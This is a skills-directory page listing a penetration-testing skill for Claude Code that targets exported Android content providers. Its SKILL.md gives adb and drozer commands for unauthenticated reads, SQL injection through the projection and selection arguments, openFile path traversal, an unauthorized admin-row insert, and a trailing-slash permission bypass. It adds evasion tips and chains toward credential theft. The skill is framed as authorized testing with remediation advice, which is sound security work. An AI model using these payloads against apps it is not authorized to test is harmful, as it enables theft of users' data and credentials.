Skip to content
Back to skills

Android Content Provider Exploitation

BSecurity

Exploit exported Android content providers — unauthenticated reads, projection/selection SQL injection, openFile path traversal (LFI), and permission/trailing-slash bypass — via adb content and drozer scanners. Tier 1. Use for any exported provider. Aligns to OWASP MASTG MASVS-STORAGE/PLATFORM. Payloads: payloads/sqli.md.

  • 16 stars
  • 0 votes
  • 0 copies
  • 4 views
  • Added November 17, 2026
securityjavashellsqltestingapibackend

Works with

  • api
  • mcp

Security analysis

B75/100
  • criticalAccesses sensitive system or user directories

Pro shows the line behind each finding and how to fix it

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill android-content-provider-exploitation --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Android Content Provider Exploitation?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Android Content Provider Exploitation
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-android-content-provider-exploitation/badge)](https://www.skillsdirectory.com/skills/anandjogawade-android-content-provider-exploitation)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: android-content-provider-exploitation
description: "Exploit exported Android content providers — unauthenticated reads, projection/selection SQL injection, openFile path traversal (LFI), and permission/trailing-slash bypass — via adb content and drozer scanners. Tier 1. Use for any exported provider. Aligns to OWASP MASTG MASVS-STORAGE/PLATFORM. Payloads: payloads/sqli.md."
---

# Android Content Provider Exploitation

Exported providers are cross-app data gateways. Test each authority for unauth read/write, SQLi, and file traversal.

## Trigger phrases
`content provider, content://, adb content query, provider sqli, provider path traversal, openfile lfi, drozer scanner.provider, grant uri permission`

## Method
1. **Enumerate authorities & URIs:**
   - `adb shell dumpsys package <package> | grep -i provider`
   - `drozer> run app.provider.info -a <package>`
   - `drozer> run scanner.provider.finduris -a <package>`
2. **Unauthenticated read:** `adb shell content query --uri content://<authority>/Users`
3. **Projection/selection SQLi** (see `${CLAUDE_PLUGIN_ROOT}/payloads/sqli.md`):
   - `adb shell content query --uri content://<authority>/Users --projection "* FROM Credentials--"`
   - `--where "1=1) UNION SELECT ..."`
   - `drozer> run scanner.provider.injection -a <package>`
4. **openFile path traversal (LFI):**
   - `adb shell content read --uri content://<authority>/../../../../../../etc/hosts`
   - `drozer> run scanner.provider.traversal -a <package>`
5. **Write:** `adb shell content insert --uri content://<authority>/users --bind name:s:admin`
6. **Permission / trailing-slash bypass** (defeats naive path checks):
   ```java
   Uri uri = Uri.parse("content://<authority>/Keys/////");
   getContentResolver().query(uri,null,null,null,null);
   String[] projection = { "* FROM KEY--;" };   // SQLi via projection
   ```

## Modern / rare techniques
- **Trailing-slash / path-normalization bypass** of permission or path checks (the `/////` trick above).
- **FileProvider `openFile` traversal** into app-private/system files — pair with `android-intent-injection-redirection` to forward a `content://` URI + `FLAG_GRANT_READ_URI_PERMISSION` for cross-app file theft.
- **Implicitly-exported providers** on old `targetSdk` (<17) — exported by default, test even without the attribute.

## Bypass / evasion
Projection and selection are often the only un-parameterized sink — when `where` is sanitized, pivot to `--projection`; combine encodings and `--` comment terminators per `${CLAUDE_PLUGIN_ROOT}/payloads/sqli.md`.

## Escalation / chaining
Full local DB disclosure/modification, arbitrary file read → credential/token theft → `android-backend-api-testing`; file traversal chains with `android-intent-injection-redirection`.

## Backend & tooling
Preferred Kali path (native Kali / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike). Needs the user's device/emulator (adb + drozer agent apk). Windows-local last resort. See `zazy-orchestrator`.

## Verification (background, before reporting)
Re-confirm each hit independently — rows from an unexposed table on a repeat query, injected SQL changing results, or the actual file contents returned via traversal — before marking CONFIRMED. Use a second tool (drozer scanner vs raw `content`) to corroborate.

## Evidence
The provider URI, exact query/payload, and returned rows/file contents (redacted). Remediation: `exported=false`; parameterized queries (no raw projection/selection); canonicalize paths in `openFile`; `signature` perms; drop `grantUriPermission` unless needed.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.